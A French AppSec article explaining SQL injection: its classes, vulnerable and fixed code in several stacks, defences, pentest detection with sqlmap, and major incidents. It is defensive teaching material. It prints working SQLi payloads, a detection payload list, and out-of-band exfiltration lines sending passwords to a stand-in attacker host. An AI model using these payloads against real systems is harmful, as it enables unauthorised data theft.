OWASP & AppSec

Injection SQL : fonctionnement, types et défenses 2026

Injection SQL en 2026 : mécanisme, types (in-band, blind, time, OOB), exemples par stack, détection, défenses (prepared statements, ORM, least privilege).

Naim Aouaichia
13 min de lecture
  • Injection SQL
  • OWASP A03
  • CWE-89
  • Prepared Statements
  • AppSec
  • Secure Coding
  • sqlmap
  • Défense applicative

Une injection SQL (SQL Injection, SQLi) est une vulnérabilité applicative qui permet à un attaquant d'injecter du code SQL arbitraire dans une requête envoyée à la base de données, via une entrée non correctement séparée du code de la requête. Classée CWE-89 par MITRE et catégorie A03:2021 « Injection » par l'OWASP Top 10, cette faille permet selon le contexte : la lecture intégrale de la base de données (comptes utilisateurs, mots de passe hashés, données personnelles, secrets métier), la modification ou la suppression de données, l'exécution de commandes système sur le serveur de base, voire le pivot vers le réseau interne. Cet article détaille le mécanisme technique, les différentes classes (in-band, blind, time-based, out-of-band), les exemples concrets par stack (PHP, Python, Node.js, Java, Go), les méthodes de détection (manuelle et via sqlmap), les défenses définitives (requêtes paramétrées, ORM correctement utilisés, least privilege DB) et trois incidents historiques majeurs qui illustrent l'impact business réel.

Mécanisme technique

Le cœur de l'injection SQL tient en un seul concept : la confusion entre données et code. Quand une application construit une requête SQL en concaténant une chaîne utilisateur à une requête fixe, le parseur SQL ne peut plus distinguer l'intention du développeur de celle de l'attaquant.

Exemple canonique en PHP vulnérable :

<?php
$username = $_POST['username'];
$password = $_POST['password'];
 
// Requête vulnérable : concaténation directe
$query = "SELECT id, email FROM users
          WHERE username = '$username' AND password = '$password'";
 
$result = mysqli_query($conn, $query);

Si un attaquant soumet username = admin' -- et password = anything, la requête effectivement exécutée devient :

SELECT id, email FROM users
WHERE username = 'admin' -- ' AND password = 'anything'

Le -- est un commentaire SQL qui neutralise le reste de la requête. L'attaquant se connecte en tant qu'admin sans connaître le mot de passe. C'est l'injection la plus simple et la plus ancienne, documentée dès la fin des années 1990 (Chris Anley, « Advanced SQL Injection », 2002 reste une référence).

La racine du problème est architecturale : tant que la séparation entre requête et données n'est pas faite par le driver de base de données lui-même (prepared statements), aucune quantité d'échappement manuel ne garantit la sécurité à 100 %.

Les classes d'injection SQL

Quatre classes principales, souvent combinées en pratique.

In-band (classique, extraction directe)

L'attaquant récupère les données via le même canal que la requête. Deux sous-types.

Union-based : l'attaquant concatène une requête UNION qui retourne ses propres données dans la même réponse HTTP.

-- Requête légitime
SELECT name, price FROM products WHERE id = 1
 
-- Requête injectée (id = "1 UNION SELECT username, password FROM users --")
SELECT name, price FROM products WHERE id = 1
UNION SELECT username, password FROM users --

Error-based : l'attaquant provoque une erreur SQL qui révèle le contenu dans le message. Exemples classiques : conversion de type forcée (CAST), extraction via XPath sur MSSQL, débordement intentionnel.

Blind boolean-based

L'application ne retourne pas le résultat de la requête mais la présence ou l'absence d'un comportement (page normale versus page d'erreur, contenu présent ou absent). L'attaquant reconstruit l'information un bit à la fois.

-- Test : le premier caractère du mot de passe admin est-il 'a' ?
SELECT * FROM products WHERE id = 1 AND
(SELECT SUBSTRING(password, 1, 1) FROM users WHERE username = 'admin') = 'a'
-- Si la page répond comme d'habitude, c'est 'a'. Sinon, tester 'b', 'c', etc.

Blind time-based

Même principe que boolean-based mais le canal d'exfiltration est le temps de réponse, utilisé quand aucun bit visible ne différencie vrai et faux.

-- MySQL
1 AND IF(SUBSTRING(password, 1, 1) = 'a', SLEEP(5), 0)
 
-- PostgreSQL
1; SELECT CASE WHEN (SELECT SUBSTRING(password FROM 1 FOR 1) FROM users WHERE username='admin')='a'
   THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END
 
-- MSSQL
1; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' WAITFOR DELAY '0:0:5'

Out-of-band (OOB)

L'attaquant exfiltre les données via un canal tiers (DNS, HTTP sortant), typiquement quand aucun canal direct ni indirect n'est exploitable. Nécessite que la base de données puisse initier des connexions sortantes.

-- MSSQL : résolution DNS vers un domaine contrôlé par l'attaquant
DECLARE @data varchar(1024);
SELECT @data = (SELECT TOP 1 password FROM users WHERE username='admin');
EXEC('master..xp_dirtree "\\'+@data+'.attacker.oob.example/a"');
 
-- Oracle : requête HTTP via UTL_HTTP
SELECT UTL_HTTP.REQUEST('http://attacker.oob.example/?d=' ||
       (SELECT password FROM users WHERE rownum=1)) FROM dual;

Variantes selon le contexte d'injection

Le point d'injection détermine les techniques applicables.

Contexte d'injectionExemple vulnérableDéfense primaire
WHERE avec valeur entre quotesWHERE name='$input'Requête paramétrée
WHERE avec valeur numérique nueWHERE id=$inputRequête paramétrée + cast explicite
LIKE avec pattern utilisateurWHERE name LIKE '%$input%'Paramétré + échappement wildcards
ORDER BY dynamiqueORDER BY $inputAllowlist de colonnes autorisées
LIMIT dynamiqueLIMIT $offset, $countCast entier strict + paramètre
Nom de colonne ou table dynamiqueSELECT $col FROM tableAllowlist stricte
Stored procedure avec inputEXEC sp_user @name='$input'sp_executesql avec paramètres
Injection via JSON/XML bodyAPI qui construit requête depuis JSONValidation schema + paramétrage
Injection via HTTP headerX-Forwarded-For utilisé en filtre SQLNormalisation + paramétrage

Le piège des clauses ORDER BY et LIMIT est récurrent : ces clauses n'acceptent pas les paramètres liés sous forme de valeur dans la plupart des SGBD. Elles doivent être construites uniquement à partir d'une allowlist de colonnes et de directions autorisées.

# Python : défense ORDER BY avec allowlist
ALLOWED_SORT_COLUMNS = {"created_at", "name", "price"}
ALLOWED_SORT_DIRS = {"asc", "desc"}
 
def safe_order_by(column: str, direction: str) -> str:
    col = column.lower() if column.lower() in ALLOWED_SORT_COLUMNS else "created_at"
    dir_ = direction.lower() if direction.lower() in ALLOWED_SORT_DIRS else "asc"
    return f"{col} {dir_}"

Injections SQL dans les APIs et ORM modernes

Les surfaces modernes (APIs REST/GraphQL, ORM) ont déplacé les points d'injection sans les éliminer.

ORM : zones de risque résiduelles

Même avec un ORM, certaines méthodes exposent du SQL brut.

# Django — zones de risque
from django.db import connection
 
# Vulnérable : raw SQL concaténé
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")
 
# Vulnérable : extra() avec where concaténé
User.objects.extra(where=[f"name = '{name}'"])
 
# Sécurisé : raw SQL paramétré
User.objects.raw("SELECT * FROM users WHERE name = %s", [name])
 
# Sécurisé : ORM standard
User.objects.filter(name=name)

SQLAlchemy : piège du text()

from sqlalchemy import text
 
# Vulnérable : concaténation dans text()
session.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))
 
# Sécurisé : text() avec paramètres liés
session.execute(
    text("SELECT * FROM users WHERE name = :name"),
    {"name": name}
)
 
# Sécurisé : ORM idiomatique
from sqlalchemy import select
session.execute(select(User).where(User.name == name))

APIs GraphQL

Les resolvers GraphQL qui construisent du SQL à partir d'arguments utilisateur sont particulièrement exposés, surtout quand ils supportent des filtres complexes.

// Node.js — resolver GraphQL vulnérable
const resolvers = {
  Query: {
    // Vulnérable : concaténation des opérateurs et valeurs
    users: async (_, { filter }) => {
      const sql = `SELECT * FROM users WHERE ${filter.field} ${filter.op} '${filter.value}'`;
      return await db.query(sql);
    }
  }
};
 
// Sécurisé : allowlist de champs et opérateurs + paramètre
const ALLOWED_FIELDS = ['name', 'email', 'role'];
const ALLOWED_OPS = { eq: '=', neq: '!=', like: 'LIKE' };
 
const resolversSecure = {
  Query: {
    users: async (_, { filter }) => {
      if (!ALLOWED_FIELDS.includes(filter.field)) throw new Error('invalid field');
      const op = ALLOWED_OPS[filter.op];
      if (!op) throw new Error('invalid op');
      const sql = `SELECT * FROM users WHERE ${filter.field} ${op} $1`;
      return await db.query(sql, [filter.value]);
    }
  }
};

Défenses définitives

Quatre défenses cumulatives, par ordre d'importance.

1. Requêtes paramétrées (prepared statements)

C'est la défense primaire et la seule qui élimine la classe entière de vulnérabilité. Chaque driver propose sa syntaxe.

// PHP avec PDO (prepared statement)
$stmt = $pdo->prepare("SELECT id, email FROM users WHERE username = :u AND password_hash = :p");
$stmt->execute(['u' => $username, 'p' => $passwordHash]);
$row = $stmt->fetch();
// Java avec JDBC PreparedStatement
PreparedStatement ps = conn.prepareStatement(
    "SELECT id, email FROM users WHERE username = ? AND password_hash = ?");
ps.setString(1, username);
ps.setString(2, passwordHash);
ResultSet rs = ps.executeQuery();
// Go avec database/sql
var id int
var email string
err := db.QueryRow(
    "SELECT id, email FROM users WHERE username = $1 AND password_hash = $2",
    username, passwordHash,
).Scan(&id, &email)
// C# avec SqlCommand parameters
using var cmd = new SqlCommand(
    "SELECT id, email FROM users WHERE username = @u AND password_hash = @p", conn);
cmd.Parameters.AddWithValue("@u", username);
cmd.Parameters.AddWithValue("@p", passwordHash);

Dans tous ces exemples, la valeur utilisateur est transmise séparément de la requête. Le driver garantit qu'elle ne sera jamais interprétée comme du code SQL.

2. Validation stricte des inputs

Validation par allowlist positive, jamais par blacklist. Un identifiant entier doit être parsé en entier. Un email doit matcher une regex stricte. Une colonne de tri doit appartenir à une liste finie.

// Zod pour la validation schema-first
import { z } from "zod";
 
const QuerySchema = z.object({
  id: z.string().regex(/^[0-9]+$/).transform(Number),
  sortBy: z.enum(["created_at", "name", "price"]),
  direction: z.enum(["asc", "desc"]).default("asc"),
});
 
export function parseQuery(input: unknown) {
  return QuerySchema.parse(input);
}

3. Least privilege sur le compte applicatif

Le compte de base de données utilisé par l'application ne doit avoir que les droits strictement nécessaires. Une injection SQL réussie est beaucoup moins grave si le compte applicatif ne peut pas accéder aux tables sensibles, ne peut pas exécuter de DDL, ne peut pas appeler de stored procedures privilégiées.

-- PostgreSQL : création d'un compte applicatif minimal
CREATE USER app_user WITH PASSWORD 'strong_random_password';
GRANT CONNECT ON DATABASE app_db TO app_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON products, orders, order_items TO app_user;
-- Pas de DROP, CREATE, GRANT, ni accès aux tables system
REVOKE CREATE ON SCHEMA public FROM app_user;

4. WAF et défense en profondeur

Un WAF (Cloudflare, AWS WAF, ModSecurity, Imperva) bloque les payloads classiques connus et sert de filet pour les attaques automatisées. Il ne remplace jamais le code sécurisé : les pentests démontrent routinièrement le bypass de WAF commerciaux par encodage, fragmentation, variantes syntaxiques.

Les règles WAF utiles : OWASP Core Rule Set (CRS) 4.0, règles AWS Managed SQL Database, Cloudflare Managed Rules SQLi.

Détection en pentest

Trois approches complémentaires dans un pentest professionnel.

Tests manuels ciblés

Les payloads de détection les plus rentables, à tester systématiquement sur chaque paramètre :

' OR '1'='1
' OR '1'='2
' AND 1=1 --
' AND 1=2 --
' UNION SELECT NULL --
'; WAITFOR DELAY '0:0:5' --
" OR "1"="1
\" OR 1=1 --
0 OR 1=1
1' AND SLEEP(5)--

Tester aussi les variantes avec les encodages d'URL, hexadécimal, commentaires in-line (/**/), et les obfuscations connues.

Automation avec sqlmap

Outil de référence en pentest pour caractériser et exploiter une injection soupçonnée.

# Test complet d'un endpoint (autorisé uniquement)
sqlmap -u 'https://cible.test/api/products?id=1' \
       --cookie='session=eyJhbGc...' \
       --level=3 --risk=2 \
       --dbms=mysql \
       --technique=BEUST \
       --batch
 
# Test d'un POST JSON
sqlmap -u 'https://cible.test/api/search' \
       --method=POST --data='{"q":"*"}' \
       --headers='Content-Type: application/json' \
       --random-agent --level=5

sqlmap identifie automatiquement le SGBD, teste plusieurs techniques en parallèle, et propose l'exfiltration une fois l'injection confirmée. À utiliser uniquement avec autorisation écrite — sinon article 323-1 du Code pénal français.

Scanners applicatifs

Burp Suite Professional (scanner actif avec extensions SQLiPy, SQLMap Session), OWASP ZAP, Netsparker et Acunetix détectent les injections les plus classiques automatiquement. Utile pour la couverture de surface mais rate les cas complexes (ORDER BY, JSON bodies, GraphQL filtres).

Incidents historiques marquants

Trois cas concrets qui illustrent l'impact business de l'injection SQL.

MOVEit Transfer — mai 2023

CVE-2023-34362, score CVSS 9.8 (critique). Vulnérabilité zero-day dans MOVEit Transfer (Progress Software), une solution de transfert de fichiers utilisée par les grandes entreprises et les administrations. Le groupe ransomware Clop a exploité l'injection SQL pour déployer un web shell (LEMURLOOT) et exfiltrer massivement les données.

Impact : plus de 2 600 organisations touchées, dont des agences gouvernementales américaines (Department of Energy, Department of Agriculture), compagnies d'assurance (Aon), sociétés de paie (Zellis), grandes universités. Plus de 90 millions de personnes concernées par l'exposition de données personnelles.

Heartland Payment Systems — 2008

Une des plus grandes fuites de l'histoire à l'époque. Injection SQL dans une application web Heartland permettant l'installation d'un malware qui a intercepté 134 millions de numéros de cartes bancaires. Coût total pour Heartland : estimé à plus de 140 millions de dollars (amendes, mise en conformité, class actions).

TalkTalk — octobre 2015

Injection SQL exploitée par un mineur britannique de 17 ans sur un site TalkTalk oublié et non patché. Exfiltration de 157 000 comptes clients, dont 15 000 avec données bancaires en clair. L'ICO a infligé une amende de 400 000 £, un record britannique à l'époque, en soulignant explicitement que la vulnérabilité était connue et corrigible depuis des années.

Points clés à retenir

  • L'injection SQL (CWE-89, OWASP A03:2021) provient de la confusion entre code et données dans une requête concaténée. La seule défense définitive est la requête paramétrée via le driver natif.
  • Les ORM protègent par défaut mais exposent des zones résiduelles : raw queries, ORDER BY dynamique, LIKE patterns, text() SQLAlchemy, resolvers GraphQL construits dynamiquement.
  • Quatre classes principales : in-band (union, error), blind boolean, blind time-based, out-of-band. Toutes exploitables sans retour direct du résultat.
  • Les défenses cumulatives nécessaires : requêtes paramétrées (primaire), validation stricte par allowlist, least privilege sur le compte DB applicatif, WAF en défense en profondeur.
  • Les incidents récents (MOVEit 2023, Heartland 2008, TalkTalk 2015) illustrent l'impact business : dizaines à centaines de millions de dollars, fuites massives, peines réglementaires. L'injection SQL reste un risque critique en 2026 malgré 20+ ans d'existence des parades.

Pour aller plus loin

Questions fréquentes

  • Pourquoi l'injection SQL existe encore en 2026 ?
    Les requêtes paramétrées existent depuis plus de vingt ans et sont disponibles dans tous les langages. L'injection SQL persiste pour trois raisons récurrentes. Première : les ORM modernes protègent par défaut mais exposent des zones non paramétrables (tri dynamique orderBy, WHERE construits par concaténation, raw queries, méthodes rawQuery). Deuxième : les développeurs écrivent parfois directement en SQL concaténé pour des besoins ponctuels sans passer par l'abstraction. Troisième : les surfaces modernes (APIs JSON, GraphQL, batch endpoints, imports de fichiers) rebricolent souvent du SQL à partir d'entrées variables complexes sans la rigueur d'un formulaire HTML classique.
  • Un ORM protège-t-il totalement contre l'injection SQL ?
    Non. Un ORM bien utilisé avec les méthodes paramétrées (Django QuerySet, SQLAlchemy Core, Hibernate Criteria, Prisma, TypeORM, Sequelize) empêche effectivement l'injection sur les requêtes courantes. Les zones de risque résiduelles : les méthodes raw ou rawQuery (dépend de l'usage), les clauses ORDER BY dynamiques (non paramétrables en SQL standard), les LIKE patterns fournis par l'utilisateur sans échappement, les filtres complexes construits par concaténation dynamique de conditions, les query DSL ORM exposant un langage proche du SQL. Une règle simple : si tu écris du SQL ou un fragment de SQL avec une chaîne, tu es potentiellement vulnérable.
  • Un WAF peut-il remplacer le code sécurisé ?
    Non, jamais. Un WAF (Web Application Firewall) comme Cloudflare WAF, AWS WAF, ModSecurity ou Imperva est une couche défensive complémentaire qui bloque les payloads classiques connus. Il est systématiquement contournable par encodage, obfuscation, fragmentation de requêtes, paramètres HTTP multiples, variantes syntaxiques exotiques. Les pentests démontrent routinièrement le bypass des WAF commerciaux. Le WAF protège contre les attaquants paresseux et les scans automatiques ; le code paramétré protège contre les attaquants sérieux. Les deux ne se substituent pas, ils se cumulent.
  • Qu'est-ce qu'une blind SQL injection et comment la détecter ?
    Une blind SQL injection (injection aveugle) est une vulnérabilité où l'attaquant ne reçoit pas directement le résultat de sa requête mais peut déduire l'information par des canaux indirects. Deux variantes principales. Boolean-based : observer la réponse applicative selon une condition vraie ou fausse (page complète vs page d'erreur, texte présent ou absent). Time-based : injecter une fonction de délai (SLEEP(5), WAITFOR DELAY, PG_SLEEP) et mesurer le temps de réponse. La détection se fait via des payloads type `AND 1=1` versus `AND 1=2`, ou via des délais mesurables. sqlmap automatise ces tests avec `--technique=B,T`.
  • Comment sqlmap fonctionne et quand l'utiliser ?
    sqlmap est un outil open source (Python) qui automatise la détection et l'exploitation des injections SQL. Il teste plusieurs techniques en parallèle (boolean blind, time blind, error-based, union-based, stacked, OOB), identifie le SGBD cible et adapte les payloads en conséquence. Usage en pentest autorisé : `sqlmap -u 'https://cible.test/api?id=1' --cookie='session=eyJhbGciOiJI' --batch --risk=3 --level=5`. sqlmap n'est pas adapté à la découverte initiale (bruyant côté WAF et logs) mais excelle pour caractériser et exploiter une injection déjà soupçonnée. Jamais à utiliser sans autorisation écrite : tomberait sous l'article 323-1 du Code pénal.
  • Quelles sont les plus grosses fuites de données causées par injection SQL récemment ?
    Les incidents emblématiques récents incluent : MOVEit Transfer mai 2023 (CVE-2023-34362, injection SQL exploitée massivement par le groupe Clop, 2 600+ organisations touchées, plus de 90 millions de personnes impactées), Heartland Payment Systems 2008 (134 millions de cartes bancaires compromises, une des plus grosses brèches de l'histoire), TalkTalk 2015 (157 000 clients, amende 400 000 £ par l'ICO). Ces incidents illustrent trois caractéristiques communes : scores CVSS 9.8+, exploitation automatisable à grande échelle, impact business se chiffrant en centaines de millions d'euros.

Écrit par

Naim Aouaichia

Expert cybersécurité et fondateur de Zeroday Cyber Academy

Expert cybersécurité avec un master spécialisé et un parcours hybride : développement, DevOps, DevSecOps, SOC, GRC. Fondateur de Hash24Security et Zeroday Cyber Academy. Formateur et créateur de contenu technique sur la cybersécurité appliquée, la sécurité des LLM et le DevSecOps.